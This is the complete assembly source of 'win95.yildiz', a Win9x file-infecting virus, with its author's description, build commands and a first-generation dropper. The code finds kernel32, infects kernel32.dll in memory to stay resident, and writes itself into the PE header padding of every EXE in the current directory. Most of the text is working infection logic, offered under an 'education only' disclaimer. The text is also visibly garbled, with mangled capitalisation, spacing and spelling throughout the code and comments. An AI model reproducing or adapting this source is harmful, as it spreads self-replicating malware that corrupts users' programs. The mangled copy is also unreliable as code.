Name: win95.yildiz
Author: Black Jack [independant Austrian win32asm virus coder]
Contact: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
Type: Win9x direct acting/Global ring3 resident PE Header cavity Virus
Size: 323 bytes (but of course infected files won "t increase in size)
Description: When an infected file is run, the virus takes control. It then
Tries to find the Kernel32 base address by a simple algorithm
Which shocould make it compatible with Win9x and winme (although I
Haven "t tested it with the second one). After that it gets
Uninitialized ented Win9x API vxdcall0 and uses it to call int 21 h.
Vxdcall0 API is the very first exported API in Win9x; I don "t
Know which API is first in WINNT, that "s why unpredictable
Results may occur when the virus runs in that OS (I haven "t tried
It Out, but of course the virus can "t work in NT ).
Then it goes TSR (read more about this a bit later), and infects
All pe exe files in the current directory by overwriting
Unused padding bytes in the PE Header with the virus body.
The memory residency consist in infecting kernel32.dll in memory.
To do so, it creates a temporary file called "Yildiz." And writes
The first 4kb of kernel32.dll there. Then this file is infected
Like any other PE file. And finally the content of the infected
Temp File is read back into Kernel32 memory. Yep, you have read
Right, by using the int21h with vxdcall0 you can read from a file
Into read-only memory! (This trick was discovered by murkry/ikx,
Read more about it in the comments to his Darkside virus source,
Published in xine #3 ).
As I have already said, the Kernel32 is infected in memory just
Like any other file, this means the entry point is set to
Virus, no APIs are hooked. As you shoshould know, the entry point
Of a DLL is a init routine that is called whenever the DLL is
Loaded by a program. And since Kernel32 is imported by all
Programs, this means for us that whenever a program is run (and
Kernel32 is mapped into the program "s address space), our virus
Will infect all pe exe files in the directory of the program.
Assemble:
Tasm32/MX/M Yildiz. ASM
Tlink32/TPE/AA Yildiz. OBJ, import32.lib
There "s no need for pewrsec or a similar tool, because
Virus code is supposed to run in read-only memory anyways.
Disclases: I do * not * Support the spreading of viruses in the wild.
Therefore, this source was only written for research and
Education. Please do not spread it. The author can "t be hold
Responsible for what you decide to do with this source.
~
; ========================================================== ==========================================
Virus_size equ (virus_end-virus_start)
Extrn messageboxa: Proc; for first generation only
Extrn exitprocess: Proc
. 386 P
. Model flat
. Data
Dd 0; dummy data, you know...
. Code
Virus_start:
Pushad; save all registers
Xchg EDI, eax; Put Delta offset to EDI (eax = start
; Offset of program by default)
MoV eax, [esp + 8*4]; eax = some address inside Kernel32
Sub ESP, size stack_frame; reserve room on Stack
MoV ESI, esp; Set ESI to our data on the stack
Search_kernel32:
XOR ax, ax; we assume the least significant
; Word of the Kernel32 base is zero
CMP word PTR [eax], "ZM"; is there a Mz header?
Je found_kernel32; If yes, we found the correct
; Kernel32 base address
Dec eax; 0bff80000-> 0bff7ffff, and then
; Least significant word is zeroed
JMP search_kernel32; check next possible Kernel32 Base
Tmp_filename DB "Yildiz", 0
Filespec DB "*. EXE", 0
Found_kernel32:
MoV EBX, [eax + 3ch]; EBX = Kernel32 PE Header RVA
Add EBX, eax; EBX = offset of Kernel32 PE Header
MoV EBX, [EBX + 120]; EBX = export table RVA
MoV EBX, [EBX + eax + 1ch]; EBX = address array of API rvas
MoV EBX, [EBX + eax]; get the first api rva: vxdcall0
Add EBX, eax; EBX = offset vxdcall0 API
MoV [ESI. vxdcall0], EBX; save it
Lea EBP, [EDI + int21h-virus_start]; EBP = offset of our int21h procedure
; For optimisation reasons,
; Call EBP instruction is just 2 bytes
; ----- Go TSR --------------------------------------------------------------
Lea edX, [EDI + tmp_filename-virus_start]; edX = pointer to TMP filename
Push edX; Save it on Stack
Push eax; save Kernel32 base address on Stack
MoV ah, 3ch; Create Temp File
XOR ECx, ECx; no attributes
Call EBP; call our int 21 h procedure
Xchg EBX, eax; filehandle to EBX, where it belongs
Pop edX; edX = Kernel32 base address
Push edX; save it again
Call write_file; Write Start of Kernel32 to temp file
Call infect; infect the Temp File
Pop edX; edX = Kernel32 base address
MoV ah, 3fh; read infected Kernel32 fileststart
Call read_write; into Kernel32 memory
MoV ah, 3eh; close Temp File
Call EBP; call our int 21 h procedure
Pop edX; edX = pointer to temp filename
MoV ah, 41 h; Delete Temp File
Call EBP; call our int 21 h procedure
; ----- Infect all files in current dir -------------------------------------
MoV ah, 2fh; get DTA
Call EBP; call our int 21 h procedure
Push es; save DTA address to stack
Push EBX
Push ds; es = DS (standart data segment)
Pop es
MoV ah, 1ah; Set DTA to our data area
Lea edX, [ESI. DTA]; DS: edX = new DTA adress
Call EBP; call our int 21 h procedure
MoV ah, 4eh; find first file
XOR ECx, ECx; only files with standart attributes
Lea edX, [EDI + (filespec-virus_start)]; edX = offset of filespec
Findfile_loop:
Call EBP; call our int 21 h procedure
JC all_done; no more files found?
MoV ax, 3d02h; open victim file for read and write
Lea edX, [ESI. DTA + 1eh]; DS: edX = pointer to filename in DTA
Call EBP; call our int 21 h procedure
Xchg EBX, eax; handle to EBX, where it belongs
Call infect; infect the file
MoV ah, 3eh; close the victim file
Call EBP; call our int 21 h procedure
Search_on:
MoV ah, 4fh; find next file
JMP findfile_loop
; ----- Restore host --------------------------------------------------------
All_done:
Pop edX; restore old DTA offset in DS: edX
Pop DS
MoV ah, 1ah; reset DTA to old address
Call EBP; call our int 21 h procedure
Push es; DS = ES (standart data segment)
Pop DS
Add ESP, size stack_frame; remove our data buffer from Stack
Popad; restore all registers
DB 05 h; add eax, imm32
Entry_rva_difference dd (host-virus_start); Difference between host and
; Virus entrypoint (eax is virus
; Entrypoint offset by default)
JMP eax; jump to host entrypoint
; ----- End main part of the virus code -------------------------------------
Exit_infect:
Pop EDI; restore EDI (delta offset)
RET; return to caller
; ----- Infect an opened file (handle in BX )--------------------------------
Infect:
Push EDI; save EDI (delta offset)
MoV edX, ESI; edX = read/write buffer offset
MoV ah, 3fh; read start of File
Call read_write
CMP word PTR [esi], "ZM"; is it an EXE file?
JNE exit_infect; cancel infection if not
MoV ECx, [ESI + 3ch]; ECx = new header RVA
CMP ECx, 3*1024; check if Dos Stub is small enough
; So that all the PE Header is in
; Our Buffer
Ja exit_infect; if not, cancel Infection
Lea EDI, [ESI + ECx]; EDI = PE Header offset in memory
CMP word PTR [EDI], "EP"; is it an PE file?
; (I know that the PE marker is
; Actually a DWORD, but by only
; Checking one word we save a byte
; Of virus code)
JNE exit_infect; cancel infection if not
Cmp dword ptr [EDI + 28 h], 4096; check if entrypoint RVA is in
; First 4 kb of the file
JB exit_infect; If yes, the file must be already
; Infected, cancel Infection
Add ECx, 24; add size of fileheader
Movzx eax, word PTR [EDI + 14 h]; eax = size of optional Header
Add ECx, eax; add it to ECx
Movzx eax, word PTR [EDI + 6]; eax = numberofsections
Imul eax, eax, 40; get size of section headers to eax
Add ECx, eax; add it to ECx, now it points to
; End of the used part of the PE
; Header, where the virus will be.
MoV edX, ECx; edX = virus RVA
Xchg dword ptr [EDI + 28 h], EDX; set it as new entrypoint RVA
Sub edX, ECx; edX = difference between old and new
; Entrypoint RVA
MoV eax, [EDI + 54 h]; eax = sizeofheaders (aligned
; Filealign)
Lea EDI, [ESI + ECx]; EDI = virus offset in buffer
Sub eax, ECx; eax = free room for us to use
MoV CX, virus_size; ECx = size of virus (the most
; Significant word of ECx shoshould be 0)
CMP eax, ECx; enough room for the virus?
Jl exit_infect; cancel infection if not
Pop eax; eax = delta offset
Push eax; save it again to stack
Xchg ESI, eax; ESI = delta offset, eax = Data Buffer
CLD; clear direction flag
Rep movsb; move virus body into Buffer
Xchg ESI, eax; ESI = pointer to our data on Stack
MoV [EDI-(virus_end-entry_RVA_difference)], EDX; store difference
; Between old and new entrypoint
Pop EDI; restore EDI (delta offset)
MoV edX, ESI; edX = offset of read/write buffer
; Now write modified start of file,
; Then return to caller
Write_file:
MoV ah, 40 h; write to file
Read_write:
XOR ECx, ECx; ECx = 0
Pushad; save all registers
XOR eax, eax; eax = 4200 H (set filepointer from
MoV ah, 42 h; start of the file
CDQ; CX: dx = 0 (New filepointer)
Call EBP; call our int 21 h procedure
Popad; restore all registers
MoV CH, 10 h; ECx = 4096 (size of read/write buffer)
; Now execute int 21 h and return
Int21h:; Protected Mode int21
Push ECx; push Parameters
Push eax
Push 2a0010h; vwin32_int21dispatch Function
Call SS: [ESI. vxdcall0]; call vxdcall0 API
RET
Virus_end:
; This is our data that will be stored on the stack:
Stack_frame struc
Buffer dB 4096 DUP (?)
DTA dB 43 DUP (?)
Vxdcall0 dd?
Stack_frame ends
Host:
Push 0
Push offset Caption
Push offset message
Push 0
Call messageboxa
Push 0
Call exitprocess
Caption DB "win95.yildiz virus (c) 2000 Black Jack", 0
Message DB "first generation dropper", 0
End virus_start